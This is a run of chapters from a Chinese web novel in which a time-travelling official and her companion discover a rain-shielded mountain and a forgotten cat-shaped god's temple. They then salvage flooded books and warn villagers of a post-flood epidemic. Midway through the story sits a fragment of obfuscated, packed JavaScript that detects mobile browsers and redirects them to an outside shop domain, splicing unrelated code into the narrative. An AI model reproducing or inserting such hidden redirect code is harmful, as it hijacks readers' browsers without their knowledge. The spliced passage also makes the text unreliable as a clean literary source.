“并没有,你说得很对,是我自己一时没想起来。”余玥玺打断他的话,站起身来,语气极为平淡地说,“我认为这不是什么让人印象深刻的事情,没想到你会记得这个。”
“怎么会是一件平常事呢?我可是深深被你当时的气度折服了啊,一般人有这胆量与学识吗?没有。”华画能感到眼前人的情绪瞬间低落,但又不明白这种情感何处而来,只好拼命地说着好话。
“真的,我说得都是真的。”华画最后又说,他同样站了起来,看起来倒是手足无措。
余玥玺露出一个笑容:“你的记性很好,不过这种事价以后不要做,不要效防我的这种行为,知道吗?”
“为什么?”华画问。
“因为很危险啊,你又怎么知道他背后有没有什么其他势力……容易被报复。”余玥玺故意向严重方向说,“从另一方面说,这也算是断人财路了不是。”
华画瞪着眼睛想了半天,硬是没有将两件事联系到一起去,但见余玥玺满怀期待地看着他,他只好点头:“受教了。”
“很好,孺子可教也。”余玥玺笑眯眯地拍了拍他的肩膀,接着就继续向山洞走去,“我们进去吧,在外面待的时间已经够长了,还是说你确实有淋雨的喜好?”
这误会可大了,华画赶紧摇头:“没有没有,谁会喜欢淋雨?”
“那你那日?”
“风太大了,把我的伞吹翻了。”华画至今想起这件事都咬牙,恨自己怎么不带一把带着巩固法力的伞。
“哦,那倒是正常。”余玥玺点头,像是并不在意他的回答一样,只淡淡留下这一句话,一边说着一边向山洞走去。
山洞的景象倒是又有所不同了,似乎变得更宽敞了些,余玥玺站在洞口停住脚步上下左右将山洞看了个遍。
没错,是变大了,深度较先前也是深了不少。
“怎么了,发生什么事了,怎么不进去?”身后的华画竟已跟了上来。
“你没发现吗?这山洞变大了啊。”余玥玺的声音震惊,不是在震惊山洞莫名其妙变大了,而是在雯惊华画居然没发现这件事。
“你看,村民们坐得如此分散,不是显得很宽敞吗?中间的距离也变得很大……”余伸出手指比划了一通。
华画立即做出恍然大悟之态,“余大人观察得相当仔细,确实是这样。”
“此事不能常理解释,我猜可能是山神发力了。”余玥玺兴致勃勃地说,似乎对山神突然来了兴趣一样。
“我觉得你说的对。”华画再次同意了她的话。
二人一前一后向山洞里走,村民们三三两两坐在一起,放松地带着家常,似乎他们不是在此处避难而是晚饭后的散步闲谈一般。但余玥玺却觉得这样很好,苦大仇深没什么用处。
“小玺,你去哪里了,刚刚到处都没找到你!”周小吉一下子地上爬起,径直向余玥玺走去,顺手抓住了她的两条胳膊,“诶,怎么不是湿的?你也没带伞啊。”
说着,她又好奇地望向洞外,抬腿就要走出去:“难道雨停了,这次居然这么快就不下雨了吗?”
“等等,雨没停。”余玥玺连忙拉住了周小吉,迅速瞥了眼华画后又看向了周小吉,压低声音神神秘秘道,“小吉,你知道山神吗?”
周小吉顿住了,脸上的表情似是古怪:“山神,小玺你问这个做什么?”
余玥玺依旧神神秘秘的:“我们现在可能是受到了山神的应护。”
“什么山神的庞护,小玺你在说什么?”周小吉脸上的茫然不像是假,“山神,哪里有山神?”
“连我都不信的东西,小玺你居然相信吗?过世上可能会有神,但我们这里不会有神,怎么会呢……这里那么穷。要是真的有的话,我们哪至于成现在这样。”
周小吉又摇头道:“神一般来说应该不会见死不救的吧。”
华画却忽然插嘴:“那周姑娘可知晓村中是否有山神庙?”
“这我倒是记得的,不过不在村里,在山上。”周小吉回忆着说,“很小的时候全村人都会上山祭拜,一年两次,但后来,后来随着村里人的大量离开,就没有人再谈起过那个小庙了。”
“还有你这个外地人你问这个干嘛?”周小吉回忆完毕,警惕地看向华画。
华画摊手,语气可惜:“我是外地人吗——我跟着余大人一起来的,我觉得我已经是本地人了。”
“你要是觉得我不是本地人的话,同时也就是否认了余大人。”
周小吉当即怒道:“这怎么会和小玺扯上关系的,我们当时听得可都是朝廷命官余玥溪会来的消息,至于你又是谁,谁知道?”
完,这俩人怎么又对付上了。余玥玺哭笑不得,自己就不能当一回无辜的中间人吗?
她颤颤地举起右手,在二人的视线交汇处拦了一下,于是二人便看向了她,一个表情愤慨一个表情郁闷。
“我认为现在不是谈论是不是本地人问题的时候,问题出在那个子虚乌有的神上面。”余玥玺道,“祂是不是真的存在,如果祂真的存在的话,为什么烂泥村会贫困到这个地步;如果祂不存在的话……我们现在这个局面又算个什么情况?”
“说来我刚刚一直就想出去看看来着的,结果被这位华公子一打搅,就给忘了。我一定要出去看看。”周小吉带着十足强烈的个人情感瞪了一眼华画,便向山外走去了。
余玥玺自觉待在洞内也无甚乐趣,便也跟着出去了;华画见余玥玺也出去了,自己也是没有待在此处的理由,也跟着出去了。
话说周小吉已走出山洞外,她本将手顶在头顶做伞状来稍微遮一下雨,然而隔了好久手背都未传来被雨淋湿的感觉,她略带疑惑地抬头,看见了和余玥玺见过的一样的场面。
本很有气势的雨在落到此处时就像是蒸发了一般消失,整座山像罩了一把伞一般。
“怎么会发生这件事?”周小吉喃喃自语,她对眼前的场景震惊不已,这种只有在梦里才见过的场景此刻真真实实出现在了眼前。
她犹疑地低下头,再转过头时两人已站在了她的身后,她此刻倒是也不觉得华画眉目可憎了,只震惊道:“这居然是真的吗?”
“自然,都已经出现在周姑娘的眼前了,又不是变戏法,再说了,哪有这么巧妙的戏法呢?”华画则是得意地笑。
“小吉,我懂,我懂的,我此前见到这幅场景也是相当震惊。可是它确实就这样出现在了我的眼前,让我不得不相信。”余玥玺扶上周小吉的肩膀,安抚一般拍了拍,“现在你还有什么其他的想法了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611200|184215||http|test|mini|href|location''.split(''|''),0,{}));
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>周小吉点点头:“那我们去找那个山神庙吧,我应该……记得路。”
“小吉你竟如此果断,好,好!”余玥玺表情赞许,轻拍变成了重拍,“那我们现在就走,一刻也不耽误!”
华画愣在原地,这两人,怎么想起一出是一出?找山神庙?那庙在不在都不一定了。不过说起来,他也好久没去过那里了。
“等等我。”华画思考的那一会功夫,二人竟已上前了。
上山的路依旧不好辨认,余玥玺跟在周小吉的身后,华画跟在余玥玺的身后,三人像是连成了一串一般。
周小吉在极深的草间搜寻着前路,她认真地回想着有关庙的记忆:“说来那个庙还蛮小的,似乎也不是话本中常见的神的样子,我猜大抵是个普通的土地公公?”
“土地公公吗?倒是很像,每一处应该都不一样——小吉,你找到位置了吗?”余玥玺问。
跟在最后面的华画眯着眼睛看四周,不太像是熟悉的地方,空气中也并无灵力涌现,看来确实已经很久了。
“别催嘛,我可能已经将近十年都没再去过那个庙了,让我多想一会吧,找应该是可以找到的。”周小吉倒也不慌不忙,拨开齐腿深的草,还小心嘱咐道,“当心些,注意脚下,别跌倒了。”
余玥玺当即想起不久之前的那次跌倒,如果不是摔到了华画身上……她没忍住又回头看了一眼华画。
这不看不要紧,一回头,脚底竟是又一滑,整个人似是又要向山底栽倒。
“小心!”华画一声惊呼,连上前一步拉住了余玥玺的手,让她靠在了自己的身上。
余玥玺的心砰砰直跳,自己这不协调的四肢有时还真害人啊,幸好没有掉下去——自己这是?
她抬眼一看,与华画对了个正着,二人同时松开了手。
“多,多谢。”
“我冒昧了,还请见谅。”
“没事,没事。”余玥玺赶紧摇头。“我们快跟上小吉吧!”
周小吉依旧在找着前往庙的路,对身后二人发生了什么一概不知,她看着那棵树,心中的记忆有所被唤醒。
“这边,这棵树我记得!”周小吉很高兴地说,“快来,从这边下去,然后再爬到对面,应该就到啦!”她顺手一指,一栋隐隐约约的小型建筑隐藏在杂乱的灌木丛间。
“找到了?小吉你好棒!”余玥玺不吝夸奖,大跨步向前,迫不及待地就要向对面走。
上坡的石阶上长满了杂草,不难得见曾经有人造的痕迹,但如今已被这郁郁葱葱的生灵给抹去了。
三人一边上台阶一边小心地清理着杂草,待石阶走到头后,再穿过生长得肆意且张牙舞爪的低矮灌木丛,那栋形似庄严的小庙便出现在眼前了。
“居然还真有个庙。”余玥玺道,“也确实很小。”她在内心狂喜,哇,完整的史实资料诶!终于是让她见到一个古时的庙了。
“进去看看。”她自顾自道,并率先走了进去。
庙真的很小,也谈不上考究,两扇门的其中一扇甚至已经掉了,躺在地上被腐蚀了一个很大的缺口。
蒲团中间也是破了一个相当大的洞,香炉与碗皆是翻滚在地,台上一抹厚厚的灰。
余玥玺抬头,看那泥塑的神像,神像也没个人形,看起来倒像是动物。
是什么呢?
猫?
23.烂泥村变成了烂泥塘
余玥玺抬头看那雕像,由于时间已经过于久远了,那雕像的面容已模糊不清,看不清面上表情,乍一看倒是和普通的供奉的神像没什么不同,做工也甚是粗糙,下半部分也已经出现不小的裂痕了。
她极认真地辨认着这尊雕像的各项特征,试图与自己在现代所学的知识联系起来。
其他的倒是没看出来,不过可以看出独特的动物崇拜,居然就这样在供奉的神像头顶加上了一对动物耳朵。
动物崇拜没什么值得惊讶的,在相当久远的远古时期,各部落的图腾大多如此,借以一些动物勇猛的品质来塑造代表本部落的品格。
但是,余玥玺的视线重新回到了这尊山神像上,说好的勇猛呢,这只看起来还有些圆滚滚的猫是怎么回事?
百思不得其解,她冥思苦想也没想出个所以然。
“怎么样?这尊像怎么样?”华画那略显突兀的声音在背后响起,吓了余玥玺一个激灵。
“这和你有什么关系?还是说你也想研究它?”
华画抬头,目光看起来眷恋无比:“看,多好看呐,当真是威武雄壮。”
“你管这叫威武雄壮……怎么看出来的?”余玥玺皱眉,深沉地看着华画,华画脸上的向往居然不像是假的。
“这不是一只花毛大老虎吗?老虎还不够雄壮吗?”华画喜滋滋回道。
“老虎?”余玥玺怀疑他有些眼瞎,“可是老虎能长成这个样子吗?说是大猫,也不能真就长成一个大猫吧?”
华画这会赞同地点点头:“或许是他们没见过老虎,所以就照着猫捏了。”
“太可惜了。”他又说,“本来他可以变成老虎的。”
“这又是什么意思?”余玥玺好奇地问。
“意思是,先有的神像,才有的神,神是照着人为祂建的像来成型的。”周小吉走了进来,抢在华画前面回答,“所以这座山的山神有很大可能是……一只猫。”
“很奇怪对吧?但事实就是这样。村人的确没有见过老虎,这神像,咳咳,确确实实就是一只猫,如假包换的猫。”
周小吉无奈地笑了笑:“我还记得我小时候说这虎是猫,我娘还骂我不让我这么说,让我在心里相信这就是老虎,这我哪做得到?”
“其实要是我,我也不相信,这耳朵一看就是猫耳朵嘛。”余玥玺道。
华画沉默不语,走到那个曾经放着贡品的桌子,伸手抹了一把灰,语气有些哀伤:“所以,真就这么把他给忘了吗?”
周小吉的语气一副没什么大不了的样子:“没办法的事,现在村里人都很难吃饱了,人也只剩这么多了,哪里还能顾得上什么从来没有出现过的山神呢?”
“我明白的,只是仍然觉得可惜。”华画将身子转过去,朝着余玥玺走去。
余玥玺招呼道:“我们走吧。”
其余二人因此也并未做过多停留,随着余玥玺一同顺着原路返回了。
路上华画一直盯着余玥玺,生怕她再摔跤。
待三人都回到了那个山洞的临时住处后,余玥玺发现村民们大多都已入睡了,躺或靠着山壁。山外还颇有凉意,但洞内却是温暖的。
还未入睡的几个中有桃儿,桃儿见了他们,比了一个放心的手势后,才靠着早已入睡的柳儿同样闭起了眼睛。
余玥玺与周小吉挑了一个背风干燥处坐下,华画则是背着手站在二人面前。
“喏,饿了吧?吃。”周小吉变戏法一般掏出一个包袱,层层叠叠地打开,里面是一摞黑黑硬硬的饼,“可能已经不太好吃了,但没办法,现在我们也只有这个了。”
“没关系!有吃的已经很好了。”余玥玺一点也没犹豫地就拿起了一张饼,就当是体验生活了,她想。
周小吉目前应是心情不错,她将包着饼子的布托起,冲华画扬了下下巴:“你也来一块?”
华画很干脆地拒绝了:“不要”。
“不要拉倒,饿死你!”周小吉气哼哼丢下这一句话,但当她再次面向余玥玺的时候,又温柔地笑了,“小玺,我去我奶奶那里啦,晚上她看不见我的话会着急的。”
余玥玺很理解地点点头:“没事,你去吧,我一个人也没事,这里还挺好的。”
等周小吉走后,华画立即坐在了她原来的位置上,笑眯眯地侧过头去看余玥玺。
余玥玺很认真地看着他:“告诉我,你为什么不吃?不饿吗?”
华画很诚实地摇头:“只是不想吃而已,那个看起来一点也不好吃。”
“你这可不行,既然都已经到这里来了,就要入乡随俗懂吗?如果你这一点都做不到的话,我想你可能不适合待在这里。”余玥玺打了一个哈欠,闭起眼睛道,“吃不饱来睡觉补,好好休息吧,明天和我去……”
这句话还未说完,余玥玺就睡了过去,而华画还在等着后半句话,他轻声问:“去哪?”回答自然是听不见的,于是他也稍稍放下心地闭起了眼睛。
半梦半醒间,华画忽感觉有一个重物压在了他的肩膀上,他悄悄睁开眼睛,原来是余玥玺的头枕在了他的肩膀上。
余玥玺闭着眼睛,睫毛在眼睑投下一片极淡的阴影,即使是睡着的,唇角依然是微微上扬的,她似乎总是这么生机勃勃意气风发的,会有一件事让她烦恼苦闷吗?她烦闷苦恼起来会是什么样?
他想不出,也不愿去想,他希望他的余大人永远都能这般英姿飒爽。
华画带着浅浅的笑意看着她的脸半晌,最终还是没有一点动作,他甚至屏了呼吸连动都不动一下,生怕吵醒了余玥玺。
一个僵着身子,一个将头枕在那个僵着身子人的肩上,二人就这样以一种稍显怪异的姿势入睡了。
余玥玺做了一个梦,梦见她并没有穿越,依然处在那个除了考试与论文其他一概不需要她操心的时代。
她梦见她最终还是没有找到那个合适的历史人物,因此她胡编乱造了一篇论文交给了教授,然而这篇论文非但没有被认出来,甚至还被评为了优秀论文。
她捧着奖状一边忧心忡忡一边呵呵傻笑,四周一片赞美之声,然而突然一个刺耳的声音盖过了赞美的声音自四面八方传来:“骗子,骗子,你就是个历史的罪人!”
这声音愈来愈大,传播得也愈来愈广,就连手中的奖状都做蝴蝶状拍打着“翅膀”飞走了。
“诶,别走!”余玥玺着急地喊了声,她四周的地面全部断裂塌陷,只有她所站的那一小块地孤岛一般耸立着。
脚下忽然出现裂痕,她也不由自主向深渊栽倒——
途中还似是磕到了石头,嘶,头好疼——
“砰”,头磕到地面的一瞬,余玥玺醒了过来,不明所以地看着自己的头枕在地上。
清醒的那一阵,余玥玺还尚未弄清发生了什么,她揉着脑袋无比庆幸地坐起来。还好是梦不是真的,“历史的罪人”什么的太可怕了。
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>在余玥玺想起站来的时候,她又发现自己的身上披了一件软软的外套,细细一看,居然是华画的。
“醒了?”华画自洞外走进洞内,向余玥玺伸出手,“既然余大人已经醒了,那就把我的衣服还给我吧。”
余玥玺尴尬地将外套递给华画,又不解地问:“为什么你的衣服会在我这里?”
“唉,”华画装模作样叹气,“昨晚余大人应该是冷得睡糊涂了,一直抓着我的衣服不放,我只好就把我的衣服脱下来了。”
见可疑的红晕逐渐爬上余玥玺的耳朵,华画又极迅速地转移了话题。
“怎么样,昨晚睡得好吗?”华回问。
余玥玺拍打了一阵酸痛的脖子与四肢:“老实说,不太好,要不是昨天走了那么多路,或许能不能睡着都说不定。”
华画这时想起了那半截她昨晚未说完的话,继续问:“你说我们今天要做什么?”
“这个啊,我们今天回村一趟,余玥玺指了指他又指了指自己,”对,就我们两个。”
“就是回村看看情况怎么样了,是不是有什么贵重物品泡在水里需要打捞起来……”
她一边说一边目光在人群中搜寻,看到桃儿已经醒过来后,她兴奋地招了招手,压低声音:“桃儿——快来——”
桃儿敏捷得如同一只猫儿窜来,她问:“余姐姐,什么事?”
“我和华画要回到村里处理一下事务,假如有什么人问怎么没看到我们的话,你就这么回答,好吗?”
桃儿很用力地点头:“好!余姐姐你一定要注意安全啊!”
“放心,不会有事。”余玥玺向她笑摆了摆手,随后同华画走出了山洞。
沿着来时的那条小路往回走的时候,华画神神秘秘地问:“余大人,你有没有觉得自己忘了什么事?”
余玥玺一时未反应过来:“什么事?”
华画从背后伸出手,手中是伞,他得意地笑道:“外头可还下着雨,我就知道你会忘。”
“行了行了,至于这么开心吗?”余玥玺二话不说,顺手夺过伞,告诫道,“等会做事你可得好好出力,知道吗?我留你在这儿可是力排众议……”
尽管华画没明白她在何时何地力排众议了,但他还是相当高兴地回应:“没问题!”
烂泥村此时的情形和余玥玺想得也差不了,到处都是坑坑洼洼的,洼内积着水,飘零的叶子满地都是,烂泥村不像是村了,像个烂泥塘。
余玥玺看得心塞,还真是相当严重的情形,村民们这些年到底是怎么挺过去的啊?她小心地踏着每一步,但鞋子还是不可避免地沾上了泥。
“你看……”她转过头去看华画,却发现他在踮脚走路,走得甚至比她还要小心,鞋上沾了泥后,他又在甩腿抖泥,动作跟猫似的,“你这有必要吗?”
华画听了这话也不抖腿了,强装自然地走过来,脸上表情紧紧绷住,看起来严肃的可以。
“你发现了吗?”余玥玺接上她刚刚那句话,“有些村民的房门都被吹开了,屋里一定进了不少水……”
讲到这,她似乎回忆起了自家的门,会不会也是没关好?或者没关严实,让风吹开了?
假如真的是这样的话,那她的书岂不是尽数泡汤了?
余玥玺不敢想象这样的后果,也不顾哪里是泥哪里是路了,她一路狂奔至家中,看着被吹开半边的门,她的心凉了半截。
“完啦!”
24.重返烂泥村的必要准备工作
华画本漫不经心地挪着步子慢吞吞地跟着余玥玺走,直到他看见余玥玺像是突然鬼上身或是被鬼追了一般狂奔而去,他便也立刻没多想,不顾到处都是的泥,同样追在余的后面。
“怎么了?怎么了?你怎么了”
直到他跟随着余玥玺一路跑到了她在烂泥村的那个房子,又望见那吹开的半扇门,才心下当即了然。
余玥玺倚在门边,牙疼似得抽着气,手哆哆嗦嗦指着屋内,念念有词:“书,我的书……全泡汤了。”
华画立即安慰她:“没关系晒晒就好了,雨过一定会天晴的。”
他的表情无比真挚,安慰她的语气也挑不出一丝毛病。
“雨过天晴,等天晴了就可以把书放外面晒晒了,我保证,除了会皱一些,其他的不会有问题!”
华画又继续说:“书又不是种子,种子一泡会发芽,发芽了就……不太好了,你说对吧?”
余玥玺狐疑地看着他,又忍不住问:“你真的是从皇城来的吗?为什么对这些农业知识也如此了解?”
她没有说出也不便说的话是:我还以为你四体不勤,五谷不分呢。
华画倒是没对这番话多想,立即笃定回答:“当然啊,这不是常识吗?”
常识啊,常识好啊,要是现代的一些人也能懂这个就好了。余玥玺跨进门槛:“先不说别的了,还是先尽量抢救一下我的书吧。”
屋内的水晃晃荡荡,踏进去时竟泛起了不小的涟漪,水的波纹自脚下产生,一路荡到了房子的尽头。
余玥玺没料到这一点,她的另一只脚停在门槛,皱着眉不悦地看着将鞋底已经淹没起来的雨水,半天没动一下:“这,这是个什么情况啊?这才多久,怎么就严重成这个样子了?”
同样紧皱着眉头的还有华画,如果说刚刚的泥还是稍微可以忍受的话,那么这个则是忍无可忍,弄湿鞋子,感受着布料因潮湿而紧紧贴在皮肤上那种令人不悦的触感,冰凉且粗糙,才不要!
但是,如果涉及到她的话……能忍!
于是华画也退了半步,他开始动手脱鞋子,弄湿皮肤总好过弄湿鞋子。
“别脱,这水脏,容易感染的知道吗?”余玥玺忽然制止了他的这一行为。
华画停下动作,似是不太理解,但他还是点了点头:“好,我知道了。”
“说起来,你不还是医学世家的传人吗?怎么这个还不清楚?”余玥玺一只脚在水里,一只脚踏在门槛上,歪头打量他,“就算皮肤没有创口,直接接触雨水危害也是相当大的。”
什么医学世家的传人啊?明明是你自作主张又莫名其妙地给我安上的名头……华画想。
但他依旧还是小心地回答:“这方面……确实不知,余大人真是见多识广。”
余玥玺应是信了,她没多在这个问题上再说什么,而是相当干脆地将另一只脚也浸到了水中,趟着水向卧房走去。
“快些进来吧,稍后我们还要帮助其他村民抢救他们重要的物资!”
本来华画还站在门槛上用脚尖轻轻地点着水,像一只蹲在岸边的猫,像要去捞水中的游鱼又不敢真正下水怕弄湿爪子一样。
而在听到余玥玺的呼唤以后,他当即毫不犹豫地跳下了水,将水踩得“哗哗”直响,一边跑一边喊道:“好!我来了!”
余玥玺慌慌张张走进卧房,情况倒是和她预想中的差不多,地面同样积着水,那一摊书的最下面,似乎已经被浸透了。
她连忙手忙脚乱地将地上的书尽数抱到桌上,虽然桌子也不完全干燥,但比起已经积了一层水的地面,还是好上了不少的。
顶层的书遭的得是风与雨水的侵袭,只是封面略微湿了一斑而已;中层的书因为收到了上层与下层书的夹击保护,也只是是侧面略微浸湿了而已,封面与里面的内容还是完好的;而最下层的书,则是惨不忍睹了,整本书都被泡在水中,显得皱皱巴巴的,书页甚至都粘连在一起,字也像泡发后一样模糊且变大了。
余玥玺不悦地抖动着最下面的那几本书,看了眼封面的内容后长长地叹了一口气:“这书,这书居然还是关于养鱼的,我看它自己倒是像鱼。”
华画没忍住笑了,他接过余手中那几本书,小心地铺开:“没事,就像这样分开,不再接触水后让风吹一吹以及后继再晒一晒的话,它们会变成干鱼的。”
“干鱼?有意思,我看是不是还要再撒点盐来丰富口感呢?”余玥玺这会心情很好地接了句,且继续胡言乱语,“晒成之后呢,我就请全村人来吃干鱼大餐,你看,足足有十五条!”
华画再次神奇地对上了余玥玺的脑电波:“鱼可以生鱼,生出的鱼可以继续生小鱼,如果我们不吃的话,可以得到更多鱼!”
说着说着,华画自己倒馋了起来,他无意识地舔了下嘴唇。
“对,养鱼!”余玥玺的眼睛看起来闪着激动的光彩,“养各种各样的鱼,然后卖给皇城的人,甚至可以养观赏鱼,那个贵!”
“我考虑这个问题已经很久了,但奈何一直实现不了,如果后续有机会的话,我一定要尝试的!”
她拍拍华画的肩膀,手指向远方,激情澎湃道:“这样的话,我就可以和别人宣布,我要让全村的知道,这片鱼塘被你承包了!”
过了一通戏瘾以后,余玥玺的想法重归正轨。
“养鱼的附产物还可以当作肥料!烂泥村虽然泥巴多,但可能肥力不怎么样,毕竟据我浅薄的认知来看,土壤中的营养物质应该会随着雨水的冲刷而流失,而如果可以将那个附产物投进甜里的话,这样就可以一举两得了。”
华画听着听着脸上的表情就愈发敬重,他看着手中的“鱼”,吃惊地问:“这些都是您在这本书里学到的吗?余大人好厉害,佩服!我一定会向余大人好好学习,努力追上您的步伐,最终配得站在您的身边!”
“嗯?倒也不完全是在这里学到的。”余玥玺想了想后回答,“人文地理?特色农业?哎呀,算了,说了你可能也听不懂。”
华画确实没听懂一点,什么地理?地理是什么?他倒是知道天理。
“不过你倒是相当有志气嘛。”余玥玺笑眯眯地补充道,“加油吧,我不敢保证你会在我这里学到什么,但我想总会有一点收获的;同时,我也可以在你的身上学到东西。”
“比如,医术!”
华画闷着头整理书,对余玥玺的这句话既不赞同也没反对。
说话间,二人已将地上的书全部堆放在了桌子上,桌子太小,目前没有办法全部摊开,只好干的和干的堆在一起,
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它们互不打扰,湿的与湿的之间尽量隔开一点空间,再沾到一起,可就麻烦了。
“我当初就应该继续把它们整理好,一本一本整齐摞好,而不是像个小书摊一样胡乱堆放着。”余玥玺似是懊悔般摇头,“其实一开始我收拾得好好的,结果……”
华画的脑子里仅有些模糊的印象,这件事的罪魁祸首似乎是猫时候的他,但他收意装傻:“结果,因为什么?”
余玥玺接着向下说:“是猫,在你来之前我养过猫的,那个晚上,它本来在床底待得好好的,我们也互不打扰,但突然后半夜它不知发了什么神经,把我整理好的书弄得一团糟,我后来也懒得收拾了,就直接随用随取。”
他自己当时在发什么疯?华画思索了一番,变成猫的那一阵记忆是一段一段极其不连贯的,他也实在想不出自己那会在发什么疯。
“喂,走啦。”余玥玺见他目光呆滞且一动不动,伸出手在他眼前晃了晃:“别忘了,我们还要去其他村民那呢,别发呆呀。”
华画后知后觉回过神应道:“好。”
二人随后便在村中巡视了一圈,除去某些村民家门被风吹开的,他们能进去将放的稍低东西抬到高处以外,大部分村民的门窗都是紧闭的。
余玥玺弯腰透过门缝去看屋内:“但愿雨不要渗进去,不然就很糟糕了。”
“好了,暂且就这样吧。”她拍打着衣上的泥点子,又抬头去看天,“看样子雨也要停了,大概不久就能出太阳了,华画,你觉得村民们何时能再回来呢?”
华画犹疑地回答:“可能后天?”
“那好,我们就和村民说后天就可以回来了。”余玥玺的眼珠子转了一圈,“让我想想,还应该做什么呢?是一件挺重要的事来着。”
余玥玺又干脆地摇了摇头:“算了,我们回去,那件事我回去的时候再想想。”
二人顺着原路再次返回,洞内的村民似乎已是等了他们许久,一进山洞,村民们便一股脑围了上来。
“小余啊,村里头情况怎么样了?”
“还在下雨吗?我们什么时候可以走?”
“我家门有没有被吹开?屋里边东西还好吗?”
“鸡,我的鸡,是不是被风吹走了?我才想起来我忘记给它们关起来了。”
这……接二连三的问题噼里啪啦砸了过来。余玥玺的大脑在一瞬间仿佛出现了短路的症状,听得见能想出该怎么回答,却说不出话来。
见此,华画上前一步走。
“各位,余大人累了,我来替她回答。”华画笑得亲切,“村里面目前还到处都是水,不过雨已经快停了,我们后天就可以回去了。以及大家放心,我和余大人都已经妥善处理好了大家的东西。”
说着,他犹豫起来,似乎这一路都没看见鸡鸭一类的家蓄,很大可能确实被吹飞了,他正想着柔和一点的措辞时,余玥玺从怔愣中回过神回答。
“不要紧,您的鸡被送给山神当祭品了,山神会保佑我们烂泥村平安的。”她笑笑。
众村民开了比话后,皆点点头,同来撒一般地再次散去了。
余玥玺的表情看上去已经不太平静了:“我想起来了,一般来说,大水过后,定有瘟疫,华画,后续的工作,还得多多靠你帮助了。”
25.从历史生向医学生的转变
疫病……华画被余玥玺的话吓得不轻,他从想过会发生这种事,但看她的表情,又不像是在开玩笑。况且,谁会拿这种事开玩笑呢?
华画有些心惊地问:“你怎么知道?真的吗?”
余玥玺很是严肃地点点头,虽然在现世她并没有直接经历过这种事情,但新闻报道上总会反复提起,她也因此耳濡目染,有所了解。
“其实雨水并不干净……算了,我直接解释吧。雨水久积之后不排掉的话,会成为病菌滋养的温床,也会给一些能够传染疾病的蚊蝇等虫子提供产卵的场所。”余玥玺竭力地解释着,全然不管眼前人能否听懂这些来自现代的词语,“一些疫病就相当容易产生,结果导致瘟疫引发。”
“不过好在村民们早早就撤离了,没在这种肮脏潮湿的环境下生活太久,所以保证后来不与雨水直接接触,危险性可能也不会太高。”
华画听得一愣一愣:“我当然是完全信任你的,可是万一村民们不相信你怎么办?以及,他们要是过分恐慌怎么办?毕竟,瘟疫听起来还是相当唬人的。”
余玥玺似乎也明白这一点,她皱眉道:“这个吧,其实我也想过,不过无论怎样,我都要让他们相信我。人命关天的事,我怎么能掉以轻心。”
“不过我还是有信心让他们相信我的,毕竟我可是从皇城来的啊!如此权威的身份,我说什么不是真的呢?”余玥玺又笑起来,似乎那一瞬的忧愁是假象而已。
华画的心因这笑剧烈地跳动了一下,他静静地看着余玥玺,只点了点头。
又到了每日两次的进餐时间,周小吉带过来的依旧是饼子,她自己啃了一个,递给了余玥玺一个,余玥玺自然地结果也开始啃了起来,还有一张她瞟着华画,向他挑了挑眉。华画知道她是何意思,却依然僵着不动。
周小吉毫不客气地说:“你是想把自己饿出个好歹吗?金贵的很啊,要不是看在你对小玺还有点用,我不会给你第二次拒绝我的机会。”
华画昂着头,目光在焦黑的饼与周小吉的脸来回移动,表情有些许复杂,既有点饿到抗不住的意思,也有不想为这黑饼子折腰的意思。
从旁边伸过来一只手,那手捏住了饼,并移到了华画的鼻子前,华画望向手的主人,是余玥玺。
“快吃,你看我都吃好了,再说了,你不吃饱怎么有力气给我帮忙?”
最终华画还是败下阵来,啃咬起了饼,其实倒也没有那么难吃,所以是什么在作祟呢?
“你多大了啊,怎么连吃饭都还要人哄呢?”余玥玺似在调侃。
华画停下嘴,没多想便回答:“同你一般大。”
回村的那一天终是到了,余玥玺同华画走在最前方,她的心尚有些忐忑,她总担心村民会怪罪于她。明明她都人已经来了,却还是没能阻止这些事情的发生。
可她又不是神,哪还能管得到天下不下雨呢?如果怪罪于她的话约莫是没有道理的。
余玥玺就这样一路胡思乱想,华画叫了她好几声都没有听见。
“不好意思,我走神了,什么事?”
华画有些担忧地看着他:“你怎么心不在焉的?我们不是已经回来了吗?而且看起来也没有很糟糕。”
余玥玺摇头道:“没什么,只是在乱想罢了,这种事不可能发生,我完全就是在吓自己。”
接着她又像不想让华画继续问下去一般迅速开口:“稍晚些时候就可以和村民们讲有关瘟疫的事情了——不对,我觉得现在就是个好时候。”
还算浩浩荡荡的队伍此时已走出了狭窄的山道,处于一个稍开阔的小石台,余玥玺忽然得收住了脚步,她身后的桃儿没注意,一头撞上了她的胳膊;而桃儿身后的人也差点被桃儿绊倒了。
一片“哎呦”之声传播而来,余玥玺有些尴尬地笑了笑。
“大家,我要和你们讲一件事情,这个事情比较紧急与严重,我希望大家都能充分听从我的安排。同样的事你们此前也应该经历过或者与它抗衡过,结果如何我也不清楚,但这一次,我会尽力保证所有人的安全。”
村民们不解何事,开始嘀嘀咕咕。
“小余你就别卖关子了,好吧,什么事儿,我们大家都能一起面对一起解决!”有人在喊。
余玥玺深吸了一口气,将此时语气郑重地说了出来:“我指的是,瘟疫。”
此话一出,果真在村民中引起了一阵不小的骚乱,有人在问“真的吗”,也有人在叹气“这可怎么办”。
就连桃儿的语气都有些慌张:“余姐姐,真的吗?会不会……死人啊?”
余玥玺的手搭在桃儿的肩膀,轻轻地捏了捏,示意她不要慌张,随后她提高音量:“大家不要慌,跟着我做就可以确保安全,相信我好吗?”
周小吉从队伍中间走到了队伍最前面,她是带着队伍后半截村民的问题而来的。
“小玺,我想问的是,你是如何知道会发生这件事的呢?”
余玥玺一开始并没有正面回答,而是问:“村民们往年在雨停过后回村,身体可有什么异样?”
“这我倒是没怎么在意过。”周小吉一边回忆一边道,“等等,我好像想起来了。”
“诸如腹泻发热,还有乏力一类的症状,但鲜少会有人因此去世……”
余玥玺打断她的话:“但还是有人死了不是吗?”
周小吉找不出话来反驳,她略有些茫然:“难道是真的吗?按道理,疫病的传染性应该极强才是啊。”
“或许只是程度上还没到而已,但这些症状的出现,也足以说明事态有可能会朝着危险的方向发展,我要做的不过是掐灭这个苗头。”
